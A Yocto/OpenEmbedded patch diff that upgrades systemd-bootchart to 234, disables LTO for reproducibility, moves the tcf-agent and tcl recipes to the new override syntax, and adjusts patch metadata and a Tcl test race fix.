--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
@@ -9,8 +9,8 @@ systemd/0007-check-for-missing-canonicalize_file_name.patch
Based on work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Submitted [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
src/path-util.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch
new file mode 100644
index 0000000000..1fdf8dbcc2
--- /dev/null
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch
@@ -0,0 +1,19 @@
+LTO output is not reproducible. Until it is, disable this. Sadly
+there is no configuration option to do so at this time.
+
+Upstream-Status: Pending [may be accept addition of configuration option?]
+RP 2021/3/1
+
+Index: git/configure.ac
+===================================================================
+--- git.orig/configure.ac
++++ git/configure.ac
+@@ -124,7 +124,7 @@ AS_CASE([$CC], [*clang*],
+
+ AS_CASE([$CFLAGS], [*-O[[12345sz\ ]]*],
+ [CC_CHECK_FLAGS_APPEND([with_cflags], [CFLAGS], [\
+- -flto -ffat-lto-objects])],
++ ])],
+ [AC_MSG_RESULT([skipping -flto, optimization not enabled])])
+ AC_SUBST([OUR_CFLAGS], "$with_cflags $sanitizer_cflags")
+
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb
deleted file mode 100644
index a7a1f0ff1a..0000000000
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-LICENSE = "LGPLv2.1 & GPLv2"
-LIC_FILES_CHKSUM = "file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c \
- file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "git://github.com/systemd/systemd-bootchart.git;protocol=https \
- file://0001-architecture-Recognise-RISCV-32-RISCV-64.patch \
- file://mips64.patch \
-"
-
-SRC_URI_append_libc-musl = " \
- file://0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch \
- file://0002-musl-does-not-provide-printf-h.patch \
- file://0003-musl-does-not-provide-canonicalize_file_name.patch \
- "
-
-
-# Modify these as desired
-PV = "233+git${SRCPV}"
-SRCREV = "fe1c5e41e6bdb78043dad8fa863fc2df66d1dadf"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "systemd libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native intltool"
-
-inherit pkgconfig autotools systemd features_check
-
-REQUIRED_DISTRO_FEATURES = "systemd"
-
-SYSTEMD_SERVICE_${PN} = "systemd-bootchart.service"
-
-do_configure_prepend() {
- # intltool.m4 is a soft link to /usr/share/aclocal/m4, delete it and use the one in our sysroot
- rm -f ${S}/m4/intltool.m4
-}
-
-FILES_${PN} += "${systemd_unitdir}/systemd-bootchart"
-
-EXTRA_OECONF = " --with-rootprefix=${root_prefix} \
- --with-rootlibdir=${base_libdir}"
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_234.bb b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_234.bb
new file mode 100644
index 0000000000..fe6f0452d4
--- /dev/null
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_234.bb
@@ -0,0 +1,44 @@
+SUMMARY = "Boot performance graphing tool"
+DESCRIPTION = "For systemd-bootchart, several proc debug interfaces are required in the kernel config: \
+ CONFIG_SCHEDSTATS \
+below is optional, for additional info: \
+ CONFIG_SCHED_DEBUG"
+HOMEPAGE = "https://github.com/systemd/systemd-bootchart"
+LICENSE = "LGPLv2.1 & GPLv2"
+LIC_FILES_CHKSUM = "file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c \
+ file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "git://github.com/systemd/systemd-bootchart.git;protocol=https;branch=master \
+ file://0001-architecture-Recognise-RISCV-32-RISCV-64.patch \
+ file://mips64.patch \
+ file://no_lto.patch \
+"
+
+SRC_URI:append:libc-musl = " \
+ file://0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch \
+ file://0002-musl-does-not-provide-printf-h.patch \
+ file://0003-musl-does-not-provide-canonicalize_file_name.patch \
+ "
+
+
+SRCREV = "8183cfd9dad8beca5434d625cf6b2df87775e956"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "systemd libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native intltool"
+
+inherit pkgconfig autotools systemd features_check
+
+REQUIRED_DISTRO_FEATURES = "systemd"
+
+SYSTEMD_SERVICE:${PN} = "systemd-bootchart.service"
+
+do_configure:prepend() {
+ # intltool.m4 is a soft link to /usr/share/aclocal/m4, delete it and use the one in our sysroot
+ rm -f ${S}/m4/intltool.m4
+}
+
+FILES:${PN} += "${systemd_unitdir}/systemd-bootchart"
+
+EXTRA_OECONF = " --with-rootprefix=${root_prefix} \
+ --with-rootlibdir=${base_libdir}"
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch b/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch
deleted file mode 100644
index abd33babeb..0000000000
--- a/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Actually pass the arguments to RANLIB.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-Index: agent/Makefile.inc
-===================================================================
---- a/Makefile.inc
-+++ b/Makefile.inc
-@@ -92,6 +92,7 @@ ifeq ($(OPSYS),GNU/Linux)
- OPTS += -DUSE_uuid_generate=0
- endif
- OPTS += -DENABLE_arch_$(shell uname -m)
-+ RANLIB += $@
- endif
-
- ifneq ($(OPSYS),Windows)
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch b/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
index c03c55d22b..dfe492091c 100644
--- a/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
+++ b/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
@@ -1,4 +1,8 @@
-Upstream-Status: Pending
+We need LDFLAGS to be respected otherwise there are QA warnings as the right
+flags don't get used.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
From d92af0483c20365fd0af740d0baef8870b4aa374 Mon Sep 17 00:00:00 2001
From: Abdur Rehman <abdur_rehman@mentor.com>
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb b/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
index ed14fe66b1..0d627f4e23 100644
--- a/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
+++ b/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
@@ -1,29 +1,29 @@
SUMMARY = "Target Communication Framework for the Eclipse IDE"
HOMEPAGE = "http://wiki.eclipse.org/TCF"
+DESCRIPTION = "TCF is a vendor-neutral, lightweight, extensible network protocol mainly for communicating with embedded systems (targets)."
BUGTRACKER = "https://bugs.eclipse.org/bugs/"
LICENSE = "EPL-1.0 | EDL-1.0"
LIC_FILES_CHKSUM = "file://edl-v10.html;md5=522a390a83dc186513f0500543ad3679"
-SRCREV = "a022ef2f1acfd9209a1bf792dda14ae4b0d1b60f"
+SRCREV = "2735e3d6b7eccb05ab232825c618c837d27a5010"
PV = "1.7.0+git${SRCPV}"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
-SRC_URI = "git://git.eclipse.org/gitroot/tcf/org.eclipse.tcf.agent \
- file://fix_ranlib.patch \
+SRC_URI = "git://git.eclipse.org/r/tcf/org.eclipse.tcf.agent.git;protocol=https;branch=master \
file://ldflags.patch \
file://tcf-agent.init \
file://tcf-agent.service \
"
DEPENDS = "util-linux openssl"
-RDEPENDS_${PN} = "bash"
+RDEPENDS:${PN} = "bash"
S = "${WORKDIR}/git/agent"
inherit update-rc.d systemd
-SYSTEMD_SERVICE_${PN} = "tcf-agent.service"
+SYSTEMD_SERVICE:${PN} = "tcf-agent.service"
INITSCRIPT_NAME = "tcf-agent"
INITSCRIPT_PARAMS = "start 99 3 5 . stop 20 0 1 2 6 ."
@@ -41,20 +41,21 @@ LCL_STOP_SERVICES = "-DSERVICE_RunControl=0 -DSERVICE_Breakpoints=0 \
# These features don't compile for several cases.
#
-CFLAGS_append_arc = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_mips = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_mips64 = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_libc-musl = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_powerpc64 = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_powerpc64le = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_riscv64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:arc = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:mips = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:mips64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:libc-musl = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:powerpc64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:powerpc64le = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:riscv64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:riscv32 = " ${LCL_STOP_SERVICES}"
do_install() {
oe_runmake install INSTALLROOT=${D}
install -d ${D}${sysconfdir}/init.d/
install -m 0755 ${WORKDIR}/tcf-agent.init ${D}${sysconfdir}/init.d/tcf-agent
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/tcf-agent.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/tcf-agent.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/tcf-agent.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/tcf-agent.service
}
diff --git a/meta/recipes-devtools/tcltk/tcl/0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch b/meta/recipes-devtools/tcltk/tcl/0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch
deleted file mode 100644
index 3cd34155ee..0000000000
--- a/meta/recipes-devtools/tcltk/tcl/0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From f7fa48c4c75a1e748dc5071e709c0b62ff739eaa Mon Sep 17 00:00:00 2001
-From: "jan.nijtmans" <nijtmans@users.sourceforge.net>
-Date: Mon, 9 Dec 2019 10:02:20 +0000
-Subject: [PATCH] Fix [abd4abedd2]: Failed to build tk 8.6.10 with cross
- compile
-
-Upstream-Status: Backport
-[https://github.com/tcltk/tcl/commit/f7fa48c4c75a1e748dc5071e709c0b62ff739eaa]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- compat/strtol.c | 2 +-
- compat/strtoul.c | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/compat/strtol.c b/compat/strtol.c
-index b7f69196c..811006a64 100644
---- a/compat/strtol.c
-+++ b/compat/strtol.c
-@@ -53,7 +53,7 @@ strtol(
- */
-
- p = string;
-- while (TclIsSpaceProc(*p)) {
-+ while (isspace(UCHAR(*p))) {
- p += 1;
- }
-
-diff --git a/compat/strtoul.c b/compat/strtoul.c
-index e37eb05f8..15587f1da 100644
---- a/compat/strtoul.c
-+++ b/compat/strtoul.c
-@@ -74,7 +74,7 @@ strtoul(
- */
-
- p = string;
-- while (TclIsSpaceProc(*p)) {
-+ while (isspace(UCHAR(*p))) {
- p += 1;
- }
- if (*p == '-') {
---
-2.17.1
-
diff --git a/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch b/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
index 86632d9144..5b25af2c0c 100644
--- a/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
+++ b/meta/recipes-devtools/tcltk/tcl/alter-includedir.patch
@@ -1,4 +1,4 @@
-Lets install the include header and private header files into
+Lets install the include header and private header files into
usr/include/tcl8.6 when version of tcl is 8.6.x
Upstream-Status: Inappropriate [Configuration Specific]
@@ -9,18 +9,19 @@ Fixed the TCL_INCLUDE_SPEC
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
+
---
- Makefile.in | 2 +-
- configure | 4 ++--
- configure.in | 4 ++--
+ Makefile.in | 2 +-
+ configure | 4 ++--
+ configure.in | 4 ++--
3 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/Makefile.in b/Makefile.in
-index 97b983b..dc2a4df 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -53,7 +53,7 @@ DLL_INSTALL_DIR = @DLL_INSTALL_DIR@
- SCRIPT_INSTALL_DIR = $(INSTALL_ROOT)$(TCL_LIBRARY)
+index 0370491..daa569a 100644
+--- a/unix/Makefile.in
++++ b/unix/Makefile.in
+@@ -57,7 +57,7 @@ SCRIPT_INSTALL_DIR = $(INSTALL_ROOT)$(TCL_LIBRARY)
+ MODULE_INSTALL_DIR = $(SCRIPT_INSTALL_DIR)/../tcl8
# Directory in which to install the include file tcl.h:
-INCLUDE_INSTALL_DIR = $(INSTALL_ROOT)$(includedir)
@@ -28,33 +29,11 @@ index 97b983b..dc2a4df 100644
# Path to the private tcl header dir:
PRIVATE_INCLUDE_DIR = @PRIVATE_INCLUDE_DIR@
-diff --git a/configure b/configure
-index 3e78b49..24b3f92 100755
---- a/configure
-+++ b/configure
-@@ -19134,7 +19134,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
- eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
-
- test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
--PRIVATE_INCLUDE_DIR='$(includedir)'
-+PRIVATE_INCLUDE_DIR='$(includedir)/tcl$(VERSION)'
- HTML_DIR='$(DISTDIR)/html'
-
- # Note: in the following variable, it's important to use the absolute
-@@ -19293,7 +19293,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
- TCL_STUB_LIB_PATH="${TCL_STUB_LIB_DIR}/${TCL_STUB_LIB_FILE}"
-
- # Install time header dir can be set via --includedir
--eval "TCL_INCLUDE_SPEC=\"-I${includedir}\""
-+eval "TCL_INCLUDE_SPEC=\"-I${includedir}/tcl${VERSION}\""
-
- #------------------------------------------------------------------------
- # tclConfig.sh refers to this by a different name
diff --git a/configure.in b/configure.in
-index 0e28b14..62d9b41 100755
---- a/configure.in
-+++ b/configure.in
-@@ -791,7 +791,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
+index 9f96e2b..e323e02 100644
+--- a/unix/configure.in
++++ b/unix/configure.in
+@@ -773,7 +773,7 @@ eval "TCL_LIB_FILE=libtcl${LIB_SUFFIX}"
eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
@@ -63,7 +42,7 @@ index 0e28b14..62d9b41 100755
HTML_DIR='$(DISTDIR)/html'
# Note: in the following variable, it's important to use the absolute
-@@ -912,7 +912,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
+@@ -894,7 +894,7 @@ TCL_BUILD_STUB_LIB_PATH="`pwd`/${TCL_STUB_LIB_FILE}"
TCL_STUB_LIB_PATH="${TCL_STUB_LIB_DIR}/${TCL_STUB_LIB_FILE}"
# Install time header dir can be set via --includedir
@@ -73,5 +52,5 @@ index 0e28b14..62d9b41 100755
#------------------------------------------------------------------------
# tclConfig.sh refers to this by a different name
--
-1.7.10.4
+2.25.1
diff --git a/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch b/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch
index 72a0fa4520..2c31cec8e3 100644
--- a/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch
+++ b/meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch
@@ -17,8 +17,8 @@ Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
Index: unix/Makefile.in
===================================================================
---- unix.orig/Makefile.in 2013-11-10 23:38:01.787425628 -0800
-+++ unix/Makefile.in 2013-11-10 23:37:59.807425578 -0800
+--- a/unix.orig/Makefile.in 2013-11-10 23:38:01.787425628 -0800
++++ b/unix/Makefile.in 2013-11-10 23:37:59.807425578 -0800
@@ -686,7 +686,7 @@
# tcltest executable gets the build directory burned into its ld search path.
# This keeps tcltest from picking up an already installed version of the Tcl
diff --git a/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch b/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
index c60eb75379..44b2ce0a30 100644
--- a/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
+++ b/meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch
@@ -2,8 +2,8 @@ Upstream-Status: Pending
Index: unix/Makefile.in
===================================================================
---- unix.orig/Makefile.in 2013-11-10 23:37:34.243424934 -0800
-+++ unix/Makefile.in 2013-11-10 23:37:34.243424934 -0800
+--- a/unix.orig/Makefile.in 2013-11-10 23:37:34.243424934 -0800
++++ b/unix/Makefile.in 2013-11-10 23:37:34.243424934 -0800
@@ -709,23 +709,23 @@
test: test-tcl test-packages
diff --git a/meta/recipes-devtools/tcltk/tcl/interp.patch b/meta/recipes-devtools/tcltk/tcl/interp.patch
new file mode 100644
index 0000000000..95d6318f64
--- /dev/null
+++ b/meta/recipes-devtools/tcltk/tcl/interp.patch
@@ -0,0 +1,32 @@
+The interp-36.7 patch has race conditions and is missing cleanup. This patch by
+a Tcl maintainer should improve matters.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/tests/interp.test b/tests/interp.test
+index d7424847f..fc90990f3 100644
+--- a/tests/interp.test
++++ b/tests/interp.test
+@@ -3595,17 +3595,18 @@ test interp-36.7 {ChildBgerror sets error handler of child [1999035]} -setup {
+ variable result
+ set result [lindex $args 0]
+ }
++ set tout [after 5000 {set result timeout}]
+ } -body {
+ child eval {
+ variable done {}
+ after 0 error foo
+- after 10 [list ::set [namespace which -variable done] {}]
+- vwait [namespace which -variable done]
+ }
++ vwait result
+ set result
+ } -cleanup {
++ after cancel $tout
+ variable result {}
+- unset -nocomplain result
++ unset -nocomplain result tout
+ interp delete child
+ } -result foo
+
diff --git a/meta/recipes-devtools/tcltk/tcl/no_packages.patch b/meta/recipes-devtools/tcltk/tcl/no_packages.patch
deleted file mode 100644
index 5c622a2369..0000000000
--- a/meta/recipes-devtools/tcltk/tcl/no_packages.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-tcl 8.6.0 builds by default a number of packages that are not needed in Yocto.
-This patch changes the makefile so that these packages are not built by default.
-
-Upstream-Status:Inappropriate [embedded specific]
-
-Signed-off-by: Bogdan Marinescu <bogdan.a.marinescu@intel.com>
-
-diff --git a/Makefile.in b/Makefile.in
-index b729ffd..2c2e824 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -612,7 +612,7 @@ SRCS = $(GENERIC_SRCS) $(TOMMATH_SRCS) $(UNIX_SRCS) $(NOTIFY_SRCS) \
- # Start of rules
- #--------------------------------------------------------------------------
-
--all: binaries libraries doc packages
-+all: binaries libraries doc
-
- binaries: ${LIB_FILE} ${TCL_EXE}
-
-@@ -656,12 +656,12 @@ Makefile: $(UNIX_DIR)/Makefile.in $(DLTEST_DIR)/Makefile.in
- #tclConfig.h: $(UNIX_DIR)/tclConfig.h.in
- # $(SHELL) config.status
-
--clean: clean-packages
-+clean:
- rm -rf *.a *.o libtcl* core errs *~ \#* TAGS *.E a.out \
- errors ${TCL_EXE} ${TCLTEST_EXE} lib.exp Tcl @DTRACE_HDR@
- cd dltest ; $(MAKE) clean
-
--distclean: distclean-packages clean
-+distclean: clean
- rm -rf Makefile config.status config.cache config.log tclConfig.sh \
- tclConfig.h *.plist Tcl.framework tcl.pc
- cd dltest ; $(MAKE) distclean
-@@ -709,7 +709,7 @@ tcltest-real:
- # tcltest, ie:
- # % make test TESTFLAGS="-verbose bps -file fileName.test"
-
--test: test-tcl test-packages
-+test: test-tcl
-
- test-tcl: ${TCLTEST_EXE}
- $(SHELL_ENV) ${TCLTEST_EXE} $(TOP_DIR)/tests/all.tcl $(TESTFLAGS)
-@@ -774,7 +774,7 @@ INSTALL_PACKAGE_TARGETS = install-packages
- INSTALL_DEV_TARGETS = install-headers
- INSTALL_EXTRA_TARGETS = @EXTRA_INSTALL@
- INSTALL_TARGETS = $(INSTALL_BASE_TARGETS) $(INSTALL_DOC_TARGETS) $(INSTALL_DEV_TARGETS) \
-- $(INSTALL_PACKAGE_TARGETS) $(INSTALL_EXTRA_TARGETS)
-+ $(INSTALL_EXTRA_TARGETS)
-
- install: $(INSTALL_TARGETS)
-
diff --git a/meta/recipes-devtools/tcltk/tcl/run-ptest b/meta/recipes-devtools/tcltk/tcl/run-ptest
index 22bb69ae0d..a62b703082 100644
--- a/meta/recipes-devtools/tcltk/tcl/run-ptest
+++ b/meta/recipes-devtools/tcltk/tcl/run-ptest
@@ -1,8 +1,12 @@
#!/bin/sh
+# clock.test needs a timezone to be set
+export TZ="Europe/London"
+export TCL_LIBRARY=library
+
for i in `ls tests/*.test | awk -F/ '{print $2}'`; do
- TCL_LIBRARY=library ./tcltest tests/all.tcl -file $i >$i.log 2>&1
- grep -q "^Files with failing tests:" $i.log
+ ./tcltest tests/all.tcl -file $i >$i.log 2>&1
+ grep -q -F -e "Files with failing tests:" -e "Test files exiting with errors:" $i.log
if [ $? -eq 0 ]; then
echo "FAIL: $i"
cat $i.log
diff --git a/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch b/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
index d1fc9b92e5..c4283c4f34 100644
--- a/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
+++ b/meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch
@@ -1,23 +1,9 @@
Upstream-Status: Pending
-Index: unix/configure
-===================================================================
---- unix.orig/configure 2013-09-19 13:17:13.000000000 -0700
-+++ unix/configure 2013-11-11 00:20:51.519490342 -0800
-@@ -7599,6 +7599,9 @@
- # get rid of the warnings.
- #CFLAGS_OPTIMIZE="${CFLAGS_OPTIMIZE} -D__NO_STRING_INLINES -D__NO_MATH_INLINES"
-
-+ # following line added by CW for Debian GNU/Linux
-+ TCL_SHLIB_LD_EXTRAS="-Wl,-soname,\${TCL_LIB_FILE}.0"
-+
- SHLIB_LD='${CC} ${CFLAGS} ${LDFLAGS} -shared'
- DL_OBJS="tclLoadDl.o"
- DL_LIBS="-ldl"
Index: unix/tcl.m4
===================================================================
---- unix.orig/tcl.m4 2013-09-19 13:17:13.000000000 -0700
-+++ unix/tcl.m4 2013-11-11 00:17:24.263485123 -0800
+--- a/unix.orig/tcl.m4 2013-09-19 13:17:13.000000000 -0700
++++ b/unix/tcl.m4 2013-11-11 00:17:24.263485123 -0800
@@ -1415,6 +1415,9 @@
# get rid of the warnings.
#CFLAGS_OPTIMIZE="${CFLAGS_OPTIMIZE} -D__NO_STRING_INLINES -D__NO_MATH_INLINES"
@@ -30,8 +16,8 @@ Index: unix/tcl.m4
DL_LIBS="-ldl"
Index: unix/Makefile.in
===================================================================
---- unix.orig/Makefile.in 2013-09-19 13:17:13.000000000 -0700
-+++ unix/Makefile.in 2013-11-11 00:20:32.423489861 -0800
+--- a/unix.orig/Makefile.in 2013-09-19 13:17:13.000000000 -0700
++++ b/unix/Makefile.in 2013-11-11 00:20:32.423489861 -0800
@@ -796,7 +796,10 @@
done;
@echo "Installing $(LIB_FILE) to $(DLL_INSTALL_DIR)/"
diff --git a/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch b/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
index 17d251d554..99c5faf02c 100644
--- a/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
+++ b/meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch
@@ -7,10 +7,7 @@ Remove hardcoded library install path. Change $(prefix)/lib/ to ${libdir}.
[YOCTO #2876]
-This is not a bug, but libraries should be installed into directory .../lib/.
-On 64bit target that should be lib64/.
-
-Upstream-Status: Inappropriate [configuration]
+Upstream-Status: Pending
Signed-off-by: Song.Li <Song.Li@windriver.com>
Signed-off-by: Kai Kang <kai.kang@windriver.com>
@@ -20,23 +17,10 @@ Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
configure.in | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
-Index: unix/configure
-===================================================================
---- unix.orig/configure 2013-11-10 23:38:33.643426430 -0800
-+++ unix/configure 2013-11-10 23:39:51.347428387 -0800
-@@ -19134,7 +19134,7 @@
-
- eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
-
--test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(prefix)/lib/tcl$(VERSION)'
-+test -z "$TCL_LIBRARY" && TCL_LIBRARY='$(libdir)/tcl$(VERSION)'
- PRIVATE_INCLUDE_DIR='$(includedir)'
- HTML_DIR='$(DISTDIR)/html'
-
Index: unix/configure.in
===================================================================
---- unix.orig/configure.in 2013-11-10 23:20:50.000000000 -0800
-+++ unix/configure.in 2013-11-10 23:39:41.199428131 -0800
+--- a/unix.orig/configure.in 2013-11-10 23:20:50.000000000 -0800
++++ b/unix/configure.in 2013-11-10 23:39:41.199428131 -0800
@@ -790,7 +790,7 @@
eval "TCL_LIB_FILE=${TCL_LIB_FILE}"
diff --git a/meta/recipes-devtools/tcltk/tcl_8.6.10.bb b/meta/recipes-devtools/tcltk/tcl_8.6.10.bb
deleted file mode 100644
index e6feb25a7e..0000000000
--- a/meta/recipes-devtools/tcltk/tcl_8.6.10.bb
+++ /dev/null
@@ -1,106 +0,0 @@
-SUMMARY = "Tool Command Language"
-HOMEPAGE = "http://tcl.sourceforge.net"
-SECTION = "devel/tcltk"
-
-# http://www.tcl.tk/software/tcltk/license.html
-LICENSE = "tcl & BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://../license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../compat/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../library/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../macosx/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../tests/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
- file://../win/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
-"
-
-DEPENDS = "tcl-native zlib"
-
-BASE_SRC_URI = "${SOURCEFORGE_MIRROR}/tcl/${BPN}${PV}-src.tar.gz \
- file://tcl-add-soname.patch"
-SRC_URI = "${BASE_SRC_URI} \
- file://fix_non_native_build_issue.patch \
- file://fix_issue_with_old_distro_glibc.patch \
- file://no_packages.patch \
- file://tcl-remove-hardcoded-install-path.patch \
- file://alter-includedir.patch \
- file://0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch;patchdir=.. \
- file://run-ptest \
-"
-SRC_URI[md5sum] = "97c55573f8520bcab74e21bfd8d0aadc"
-SRC_URI[sha256sum] = "5196dbf6638e3df8d5c87b5815c8c2b758496eb6f0e41446596c9a4e638d87ed"
-
-SRC_URI_class-native = "${BASE_SRC_URI}"
-
-S = "${WORKDIR}/${BPN}${PV}/unix"
-
-PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/${BPN}${PV}"
-VER = "${PV}"
-
-inherit autotools ptest binconfig update-alternatives
-
-EXTRA_OECONF = "--enable-threads --disable-rpath --libdir=${libdir}"
-
-do_compile_prepend() {
- echo > ${S}/../compat/fixstrtod.c
-}
-
-do_install() {
- autotools_do_install
- oe_runmake 'DESTDIR=${D}' install-private-headers
- ln -sf ./tclsh${VER} ${D}${bindir}/tclsh
- ln -sf tclsh8.6 ${D}${bindir}/tclsh${VER}
- sed -i "s;-L${B};-L${STAGING_LIBDIR};g" tclConfig.sh
- sed -i "s;'${WORKDIR};'${STAGING_INCDIR};g" tclConfig.sh
- install -d ${D}${bindir_crossscripts}
- install -m 0755 tclConfig.sh ${D}${bindir_crossscripts}
- install -m 0755 tclConfig.sh ${D}${libdir}
- for dir in compat generic unix; do
- install -d ${D}${includedir}/${BPN}${VER}/$dir
- install -m 0644 ${S}/../$dir/*.h ${D}${includedir}/${BPN}${VER}/$dir/
- done
-}
-
-SYSROOT_DIRS += "${bindir_crossscripts}"
-
-PACKAGES =+ "tcl-lib"
-FILES_tcl-lib = "${libdir}/libtcl8.6.so.*"
-FILES_${PN} += "${libdir}/tcl${VER} ${libdir}/tcl8.6 ${libdir}/tcl8"
-FILES_${PN}-dev += "${libdir}/tclConfig.sh ${libdir}/tclooConfig.sh"
-
-ALTERNATIVE_${PN}-doc = "Thread.3"
